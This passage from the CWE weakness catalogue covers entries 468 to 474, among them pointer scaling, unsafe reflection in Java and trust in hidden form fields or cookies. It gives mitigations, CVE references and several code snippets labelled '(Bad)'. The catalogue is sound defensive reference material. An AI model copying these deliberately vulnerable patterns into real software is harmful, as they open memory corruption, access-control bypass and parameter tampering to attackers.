[REF-442]Robert Seacord. "EXP01-A. Do not take the sizeof a pointer to determine the size of a type". < <https://www.securecoding.cert.org/confluence/display/seccode/EXP01-A.+Do+not+take+the+sizeof+a+pointer+to+determine+the+size+of+a+type> >.

## CWE-468: Incorrect Pointer Scaling

**Weakness ID** : 468  
**Structure** : Simple  
**Abstraction** : Base

### Description

In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b> P </b>	682	Incorrect Calculation	1403

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	465	Pointer Issues	2121

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Integrity	Modify Memory	
<p><i>Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.</i></p>		

### Potential Mitigations

#### Phase: Architecture and Design

Use a platform with high-level memory abstractions.

#### Phase: Implementation

Always use array indexing instead of direct pointer manipulation.

#### Phase: Architecture and Design

Use technologies for preventing buffer overflows.

### Demonstrative Examples

#### Example 1:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C

(Bad)

```
int *p = x;
char * second_char = (char *) (p + 1);
```

In this example, second\_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2135
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2250

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unintentional pointer scaling
CERT C Secure Coding	ARR39-C	Exact	Do not add or subtract a scaled integer to a pointer



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP08-C		Ensure pointer arithmetic is used correctly
Software Fault Patterns	SFP1		Glitch in computation

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-469: Use of Pointer Subtraction to Determine Size

**Weakness ID :** 469

**Structure :** Simple

**Abstraction :** Base

### Description

The product subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2121

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory	
Integrity	Read Memory	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	Gain Privileges or Assume Identity	
<i>There is the potential for arbitrary code execution with privileges of the vulnerable program.</i>		

### Potential Mitigations

**Phase:** Implementation

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always validate this number.

## Demonstrative Examples

### Example 1:

The following example contains the method size that is used to determine the number of nodes in a linked list. The method is passed a pointer to the head of the linked list.

Example Language: C

(Bad)

```
struct node {
    int data;
    struct node* next;
};
// Returns the number of nodes in a linked list from
// the given pointer to the head of the list.
int size(struct node* head) {
    struct node* current = head;
    struct node* tail;
    while (current != NULL) {
        tail = current;
        current = current->next;
    }
    return tail - head;
}
// other methods for manipulating the list
...
```

However, the method creates a pointer that points to the end of the list and uses pointer subtraction to determine the number of nodes in the list by subtracting the tail pointer from the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using pointer subtraction in this way could return incorrect results and allow other unintended behavior. In this example a counter should be used to determine the number of nodes in the list, as shown in the following code.

Example Language: C

(Good)

```
...
int size(struct node* head) {
    struct node* current = head;
    int count = 0;
    while (current != NULL) {
        count++;
        current = current->next;
    }
    return count;
}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	2137
MemberOf	<b>C</b>	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	2169
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	971	SFP Secondary Cluster: Faulty Pointer Use	888	2198

Nature	Type	ID	Name	Page
MemberOf		1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154 2250

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper pointer subtraction
CERT C Secure Coding	ARR36-C	Exact	Do not subtract or compare two pointers that do not refer to the same array
Software Fault Patterns	SFP7		Faulty Pointer Use

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

**Weakness ID :** 470

**Structure :** Simple

**Abstraction :** Base

### Description

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

### Extended Description

If the product uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the product to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the product's classpath (CWE-427) or add new entries to the product's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the product.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1285
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1681

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1681

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2117

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf	G	20	Improper Input Validation	19

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

**Language** : PHP (Prevalence = Undetermined)

**Language** : Interpreted (Prevalence = Sometimes)

### Alternate Terms

**Reflection Injection** :

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Alter Execution Logic	
Availability	<i>The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.</i>	
Other		
Availability	DoS: Crash, Exit, or Restart	
Other	<i>The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the product to exit or hang.</i>	
Confidentiality	Read Application Data	
	<i>By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Refactor your code to avoid using reflection.

#### Phase: Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

#### Phase: Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

### Demonstrative Examples

#### Example 1:

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

*Example Language: Java*

*(Good)*

```
String ctl = request.getParameter("ctl");
Worker ao = null;
```

```

if (ctl.equals("Add")) {
    ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
    ao = new ModifyCommand();
}
else {
    throw new UnknownActionError();
}
ao.doAction(request);

```

A programmer might refactor this code to use reflection as follows:

*Example Language: Java*

*(Bad)*

```

String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);

```

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

*Example Language: Java*

*(Bad)*

```

String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);

```

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple products, in larger products where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

## Observed Examples

Reference	Description
<b>CVE-2004-2331</b>	Database system allows attackers to bypass sandbox restrictions by using the Reflection API. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2331">https://www.cve.org/CVERecord?id=CVE-2004-2331</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	Fit	Page
MemberOf	<b>C</b>	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	<b>V</b>	2162
MemberOf	<b>V</b>	884	CWE Cross-section		2327
MemberOf	<b>C</b>	991	SFP Secondary Cluster: Tainted Input to Environment		2209
MemberOf	<b>C</b>	1347	OWASP Top Ten 2021 Category A03:2021 - Injection		2282
MemberOf	<b>C</b>	1368	ICS Dependencies (& Architecture): External Digital Systems		2297

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Unsafe Reflection
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not use reflection to increase accessibility of classes, methods, or fields

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
138	Reflection Injection

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-471: Modification of Assumed-Immutable Data (MAID)

**Weakness ID** : 471

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not properly protect an assumed-immutable element from being modified by an attacker.

### Extended Description

This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>P</b>	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	<b>V</b>	291	Reliance on IP Address for Authentication	671
ParentOf	<b>B</b>	472	External Control of Assumed-Immutable Web Parameter	1062

Nature	Type	ID	Name	Page
ParentOf	V	473	PHP External Variable Modification	1066
ParentOf	V	607	Public Static Final Field References Mutable Object	1280
CanFollow	B	425	Direct Request ('Forced Browsing')	969
CanFollow	C	602	Client-Side Enforcement of Server-Side Security	1271
CanFollow	B	621	Variable Extraction Error	1303
CanFollow	B	1282	Assumed-Immutable Data is Stored in Writable Memory	1962
CanFollow	V	1321	Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	2030

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2101

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>Common data types that are attacked are environment variables, web application parameters, and HTTP headers.</i>	
Integrity	Unexpected State	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

**Phase: Implementation**

When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.

### Demonstrative Examples

#### Example 1:

In the code excerpt below, an array returned by a Java method is modified despite the fact that arrays are mutable.

*Example Language: Java*

*(Bad)*

```
String[] colors = car.getAllPossibleColors();
colors[0] = "Red";
```

### Observed Examples

Reference	Description
<b>CVE-2002-1757</b>	Relies on \$PHP_SELF variable for authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1757">https://www.cve.org/CVERecord?id=CVE-2002-1757</a>
<b>CVE-2005-1905</b>	Gain privileges by modifying assumed-immutable code addresses that are accessed by a driver. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1905">https://www.cve.org/CVERecord?id=CVE-2005-1905</a>

### MemberOf Relationships



This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2209
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

## Notes

### Relationship

MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's register\_globals and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.

### Theoretical

There are many examples where the MUTABILITY property is a major factor in a vulnerability.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Modification of Assumed-Immutable Data

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking

## CWE-472: External Control of Assumed-Immutable Web Parameter

**Weakness ID** : 472

**Structure** : Simple

**Abstraction** : Base

### Description

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

### Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.


For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such

as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		471	Modification of Assumed-Immutable Data (MAID)	1060
ChildOf		642	External Control of Critical State Data	1330
CanFollow		656	Reliance on Security Through Obscurity	1359

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**Assumed-Immutable Parameter Tampering** :

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.</i>	

## Potential Mitigations

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input

is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Demonstrative Examples

#### Example 1:

In this example, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

*Example Language: Java*

*(Bad)*

```
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));
```

#### Example 2:

Hidden fields should not be trusted as secure parameters.

An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

*Example Language: HTML*

*(Bad)*

```
<input type="hidden"
```

or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.

### Observed Examples

Reference	Description
<b>CVE-2002-0108</b>	Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0108">https://www.cve.org/CVERecord?id=CVE-2002-0108</a>
<b>CVE-2000-0253</b>	Shopping cart allows price modification via hidden form field. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0253">https://www.cve.org/CVERecord?id=CVE-2000-0253</a>
<b>CVE-2000-0254</b>	Shopping cart allows price modification via hidden form field. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0254">https://www.cve.org/CVERecord?id=CVE-2000-0254</a>
<b>CVE-2000-0926</b>	Shopping cart allows price modification via hidden form field. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0926">https://www.cve.org/CVERecord?id=CVE-2000-0926</a>
<b>CVE-2000-0101</b>	Shopping cart allows price modification via hidden form field. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0101">https://www.cve.org/CVERecord?id=CVE-2000-0101</a>
<b>CVE-2000-0102</b>	Shopping cart allows price modification via hidden form field. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0102">https://www.cve.org/CVERecord?id=CVE-2000-0102</a>
<b>CVE-2000-0758</b>	Allows admin access by modifying value of form field. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0758">https://www.cve.org/CVERecord?id=CVE-2000-0758</a>
<b>CVE-2002-1880</b>	Read messages by modifying message ID parameter. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1880">https://www.cve.org/CVERecord?id=CVE-2002-1880</a>
<b>CVE-2000-1234</b>	Send email to arbitrary users by modifying email parameter.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2000-1234">https://www.cve.org/CVERecord?id=CVE-2000-1234</a>
<b>CVE-2005-1652</b>	Authentication bypass by setting a parameter. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1652">https://www.cve.org/CVERecord?id=CVE-2005-1652</a>
<b>CVE-2005-1784</b>	Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1784">https://www.cve.org/CVERecord?id=CVE-2005-1784</a>
<b>CVE-2005-2314</b>	Logic error leads to password disclosure. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2314">https://www.cve.org/CVERecord?id=CVE-2005-2314</a>
<b>CVE-2005-1682</b>	Modification of message number parameter allows attackers to read other people's messages. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1682">https://www.cve.org/CVERecord?id=CVE-2005-1682</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	629	2124
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf		991	SFP Secondary Cluster: Tainted Input to Environment	888	2209
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Notes

#### Relationship

This is a primary weakness for many other weaknesses and functional consequences, including XSS, SQL injection, path disclosure, and file inclusion.

#### Theoretical

This is a technology-specific MAID problem.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Web Parameter Tampering
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
146	XML Schema Poisoning
226	Session Credential Falsification through Manipulation

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-473: PHP External Variable Modification

**Weakness ID** : 473  
**Structure** : Simple  
**Abstraction** : Variant




### Description

A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		471	Modification of Assumed-Immutable Data (MAID)	1060
PeerOf		616	Incomplete Identification of Uploaded File Variables (PHP)	1295
CanPrecede		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	229

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

### Applicable Platforms

**Language** : PHP (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

### Potential Mitigations

**Phase: Requirements**

**Phase: Implementation**

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register\_globals enabled. If you implement a register\_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register\_globals.

### Observed Examples

Reference	Description
<b>CVE-2000-0860</b>	File upload allows arbitrary file read by setting hidden form variables to match internal variable names. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0860">https://www.cve.org/CVERecord?id=CVE-2000-0860</a>
<b>CVE-2001-0854</b>	Mistakenly trusts \$PHP_SELF variable to determine if include script was called by its parent. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0854">https://www.cve.org/CVERecord?id=CVE-2001-0854</a>

Reference	Description
<b>CVE-2002-0764</b>	PHP remote file inclusion by modified assumed-immutable variable. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0764">https://www.cve.org/CVERecord?id=CVE-2002-0764</a>
<b>CVE-2001-1025</b>	Modify key variable when calling scripts that don't load a library that initializes it. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1025">https://www.cve.org/CVERecord?id=CVE-2001-1025</a>
<b>CVE-2003-0754</b>	Authentication bypass by modifying array used for authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0754">https://www.cve.org/CVERecord?id=CVE-2003-0754</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		991	SFP Secondary Cluster: Tainted Input to Environment	888	2209

### Notes

#### Relationship

This is a language-specific instance of Modification of Assumed-Immutable Data (MAID). This can be resultant from direct request (alternate path) issues. It can be primary to weaknesses such as PHP file inclusion, SQL injection, XSS, authentication bypass, and others.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PHP External Variable Modification

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
77	Manipulating User-Controlled Variables

## CWE-474: Use of Function with Inconsistent Implementations

**Weakness ID** : 474

**Structure** : Simple

**Abstraction** : Base

### Description

The code uses a function that has inconsistent implementations across operating systems and versions.

### Extended Description

The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.



The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:

- Slight differences in the way parameters are interpreted leading to inconsistent results.
- Some implementations of the function carry significant security risks.
- The function might not be defined on all platforms.
- The function might change which return codes it can provide, or change the meaning of its return codes.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1472
ParentOf		589	Call to Non-ubiquitous API	1247

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1228	API / Function Errors	2275

## Weakness Ordinalities

**Primary :**

**Indirect :**

## Applicable Platforms

**Language :** C (Prevalence = Often)

**Language :** PHP (Prevalence = Often)

**Language :** Not Language-Specific (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

## Potential Mitigations


**Phase: Architecture and Design**

**Phase: Requirements**

Do not accept inconsistent behavior from the API specifications when the deviant behavior increase the risk level.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		398	7PK - Code Quality	700	2116
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Inconsistent Implementations
Software Fault Patterns	SFP3		Use of an improper API

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools



